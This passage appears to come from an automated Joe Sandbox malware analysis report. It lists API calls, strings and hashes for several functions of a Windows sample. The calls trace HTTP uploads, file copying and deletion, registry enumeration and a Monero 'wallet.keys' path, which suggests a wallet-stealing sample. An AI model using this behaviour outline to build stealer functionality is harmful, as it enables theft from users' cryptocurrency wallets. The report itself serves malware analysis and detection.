lstrlen.KERNEL32(00000000,?,?), ref: 007C585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007C5872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007C589D
InternetCloseHandle.WININET(00000000), ref: 007C5901
InternetCloseHandle.WININET(00000000), ref: 007C590E
InternetCloseHandle.WININET(00000000), ref: 007C5918

Strings

--, xrefs: 007C52D0
", xrefs: 007C5756
------, xrefs: 007C568B
------, xrefs: 007C52E7
", xrefs: 007C5614
------, xrefs: 007C5407
------, xrefs: 007C5549
", xrefs: 007C54D2

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 0c53f5c7ec560bc43f7da77e3d95803de29fee6fff76729314d66945f8c76615
Instruction ID: cd065281c810ab1b723907601696422eb60da3f995681b8d57f366de835df1c7
Opcode Fuzzy Hash: 0c53f5c7ec560bc43f7da77e3d95803de29fee6fff76729314d66945f8c76615
Instruction Fuzzy Hash: 5B320EB2920118FADB14EBA0DC99FEEB378BF54700F44419AF14666192DF793A48CF61

Function 007C59B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C483B
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4852
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4868
Part of subcall function 007C4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007C4889
Part of subcall function 007C4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 007C4899

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007C5A48
StrCmpCA.SHLWAPI(?,012DE818), ref: 007C5A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007C5BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,012DE798,00000000,?,012DA750,00000000,?,007E19C0), ref: 007C5EC1
lstrlen.KERNEL32(00000000), ref: 007C5ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 007C5EE3
RtlAllocateHeap.NTDLL(00000000), ref: 007C5EEA
lstrlen.KERNEL32(00000000), ref: 007C5EFF
lstrlen.KERNEL32(00000000), ref: 007C5F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007C5F41
lstrlen.KERNEL32(00000000,?,?), ref: 007C5F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007C5F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 007C5F9C
InternetCloseHandle.WININET(00000000), ref: 007C6000
InternetCloseHandle.WININET(00000000), ref: 007C600D
HttpOpenRequestA.WININET(00000000,012DE7C8,?,012DE170,00000000,00000000,00400100,00000000), ref: 007C5C48

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

InternetCloseHandle.WININET(00000000), ref: 007C6017

Strings

", xrefs: 007C5D25
------, xrefs: 007C5AE6
", xrefs: 007C5E66
------, xrefs: 007C5D9C
------, xrefs: 007C5C5B

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: c014571fe0564e7eb0ccb15343d536395eac0a41a1dfa2008070ead062dc547d
Instruction ID: ccd2910a316f23472568278737978173f58f86e0838bd5cd438205f258e9749a
Opcode Fuzzy Hash: c014571fe0564e7eb0ccb15343d536395eac0a41a1dfa2008070ead062dc547d
Instruction Fuzzy Hash: 4612FB72820119FACB15EBA0DC9AFEEB378BF54700F44419AB10666191EF793B49CF61

Function 007CA6C0 Relevance: 30.5, APIs: 20, Instructions: 495
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA440: StrCmpCA.SHLWAPI(012D91B8,007CA6D7,?,007CA6D7,012D91B8), ref: 007DA45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007CA9F2
RtlAllocateHeap.NTDLL(00000000), ref: 007CA9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007CA7DA

Part of subcall function 007DA1F0: lstrlen.KERNEL32(007C4F55,?,?,007C4F55,007E0DC6), ref: 007DA1FB
Part of subcall function 007DA1F0: lstrcpy.KERNEL32(007E0DC6,00000000), ref: 007DA255

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

lstrcat.KERNEL32(?,00000000), ref: 007CAB3A
lstrcat.KERNEL32(?,007E12C4), ref: 007CAB49
lstrcat.KERNEL32(?,00000000), ref: 007CAB5C
lstrcat.KERNEL32(?,007E12C8), ref: 007CAB6B
lstrcat.KERNEL32(?,00000000), ref: 007CAB7E
lstrcat.KERNEL32(?,007E12CC), ref: 007CAB8D
lstrcat.KERNEL32(?,00000000), ref: 007CABA0
lstrcat.KERNEL32(?,007E12D0), ref: 007CABAF
lstrcat.KERNEL32(?,00000000), ref: 007CABC2
lstrcat.KERNEL32(?,007E12D4), ref: 007CABD1
lstrcat.KERNEL32(?,00000000), ref: 007CABE4
lstrcat.KERNEL32(?,007E12D8), ref: 007CABF3

Part of subcall function 007C9E60: LocalAlloc.KERNEL32(00000040,?), ref: 007C9EFE

lstrcat.KERNEL32(?,00000000), ref: 007CAC3C
lstrcat.KERNEL32(?,007E12DC), ref: 007CAC56
lstrlen.KERNEL32(?), ref: 007CAC95
lstrlen.KERNEL32(?), ref: 007CACA4

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

DeleteFileA.KERNEL32(00000000), ref: 007CAD1F

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeap$AllocAllocateCopyDeleteLocalProcess
String ID:
API String ID: 1656385275-0
Opcode ID: 99a963905efec7bf2e16a9cd34d250dce7b09674a6e3e11cac574065ad0eb9f9
Instruction ID: be7fb7a15f77974c4d3f1cb0095ed3a8b0489237c5fc23bfbc1606cbb96dbbfa
Opcode Fuzzy Hash: 99a963905efec7bf2e16a9cd34d250dce7b09674a6e3e11cac574065ad0eb9f9
Instruction Fuzzy Hash: D50262B191014DFBCB04EBA0DD9AEEE7338BF54301F44411AF507A6291DE79AE09DB62

Function 007CCD30 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007D8600: GetSystemTime.KERNEL32(007E0E02,012DA6C0,007E059E,?,?,007C13F9,?,0000001A,007E0E02,00000000,?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007D8626

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007CCDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007CCF07
RtlAllocateHeap.NTDLL(00000000), ref: 007CCF0E
lstrcat.KERNEL32(?,00000000), ref: 007CD048
lstrcat.KERNEL32(?,007E141C), ref: 007CD057
lstrcat.KERNEL32(?,00000000), ref: 007CD06A
lstrcat.KERNEL32(?,007E1420), ref: 007CD079
lstrcat.KERNEL32(?,00000000), ref: 007CD08C
lstrcat.KERNEL32(?,007E1424), ref: 007CD09B
lstrcat.KERNEL32(?,00000000), ref: 007CD0AE
lstrcat.KERNEL32(?,007E1428), ref: 007CD0BD
lstrcat.KERNEL32(?,00000000), ref: 007CD0D0
lstrcat.KERNEL32(?,007E142C), ref: 007CD0DF
lstrcat.KERNEL32(?,00000000), ref: 007CD0F2
lstrcat.KERNEL32(?,007E1430), ref: 007CD101
lstrcat.KERNEL32(?,00000000), ref: 007CD114
lstrcat.KERNEL32(?,007E1434), ref: 007CD123

Part of subcall function 007DA1F0: lstrlen.KERNEL32(007C4F55,?,?,007C4F55,007E0DC6), ref: 007DA1FB
Part of subcall function 007DA1F0: lstrcpy.KERNEL32(007E0DC6,00000000), ref: 007DA255

lstrlen.KERNEL32(?), ref: 007CD16A
lstrlen.KERNEL32(?), ref: 007CD179

Part of subcall function 007DA440: StrCmpCA.SHLWAPI(012D91B8,007CA6D7,?,007CA6D7,012D91B8), ref: 007DA45F

DeleteFileA.KERNEL32(00000000), ref: 007CD1F4

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: cc7a17bab03f269295537e176b653cd55ba58e51081598069550eeea84629e6a
Instruction ID: 3283edad267790b695314050efcc08626237f52f2f7612b019b7da805f0ffcae
Opcode Fuzzy Hash: cc7a17bab03f269295537e176b653cd55ba58e51081598069550eeea84629e6a
Instruction Fuzzy Hash: CAE17EB1910149FBCB04EBA0DD9AEEE7338BF54301F444059F506B7291DE7A6E09DB62

Function 007C48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C483B
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4852
Part of subcall function 007C4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 007C4868
Part of subcall function 007C4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007C4889
Part of subcall function 007C4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 007C4899

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007C4965
StrCmpCA.SHLWAPI(?,012DE818), ref: 007C498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007C4B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,007E0DC3,00000000,?,?,00000000,?,",00000000,?,012DE7E8), ref: 007C4E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007C4E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007C4E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007C4E99
InternetCloseHandle.WININET(00000000), ref: 007C4EFD
InternetCloseHandle.WININET(00000000), ref: 007C4F15
HttpOpenRequestA.WININET(00000000,012DE7C8,?,012DE170,00000000,00000000,00400100,00000000), ref: 007C4B65

Part of subcall function 007DA380: lstrlen.KERNEL32(?,012D9098,?,\Monero\wallet.keys,007E0DFF), ref: 007DA395
Part of subcall function 007DA380: lstrcpy.KERNEL32(00000000), ref: 007DA3D4
Part of subcall function 007DA380: lstrcat.KERNEL32(00000000,00000000), ref: 007DA3E2

Part of subcall function 007DA270: lstrcpy.KERNEL32(?,007E0DFF), ref: 007DA2D5

Part of subcall function 007DA2F0: lstrcpy.KERNEL32(00000000,?), ref: 007DA342
Part of subcall function 007DA2F0: lstrcat.KERNEL32(00000000), ref: 007DA352

InternetCloseHandle.WININET(00000000), ref: 007C4F1F

Strings

", xrefs: 007C4C42
------, xrefs: 007C4CB9
", xrefs: 007C4D83
------, xrefs: 007C4A0D
------, xrefs: 007C4B78

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 7a61147c98ce1b4cda177ae11790667b6d272bceb7708bea4d79518850fac4bf
Instruction ID: ae399972642ce8bca4a56ac6b23189243a7e4d76404922964d4cf06a93aefcf0
Opcode Fuzzy Hash: 7a61147c98ce1b4cda177ae11790667b6d272bceb7708bea4d79518850fac4bf
Instruction Fuzzy Hash: 0712F972911119EACB15EBA0DC9AFEEB339BF54300F54419AB10662191EF793F48CF62

Function 007D7DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007DA110: lstrcpy.KERNEL32(007E0DFF,00000000), ref: 007DA158

RegOpenKeyExA.KERNEL32(00000000,012DB1C8,00000000,00020019,00000000,007E05A6), ref: 007D7E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007D7EC6
wsprintfA.USER32 ref: 007D7EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 007D7F1B
RegCloseKey.ADVAPI32(00000000), ref: 007D7F2C
RegCloseKey.ADVAPI32(00000000), ref: 007D7F39

Part of subcall function 007DA170: lstrcpy.KERNEL32(?,00000000), ref: 007DA1B6

Strings

- , xrefs: 007D8043
?, xrefs: 007D7E1A
%s\%s, xrefs: 007D7EED

Memory Dump Source

Source File: 00000000.00000002.1883664465.00000000007C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000000.00000002.1883644949.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000082A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000853000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000891000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.00000000008C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.0000000000967000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000A00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000B90000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884028944.0000000000CA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884308011.0000000000CA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884430359.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1884446835.0000000000E42000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c0000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 96cd476416723168501b35eb1d30af1e695a42a0e86f8b59fca98c7802cdd257
Instruction ID: 185dfd777d71fdd76f6e84ca2674b586cebee0e58143311a979206047ad8925b
Opcode Fuzzy Hash: 96cd476416723168501b35eb1d30af1e695a42a0e86f8b59fca98c7802cdd257
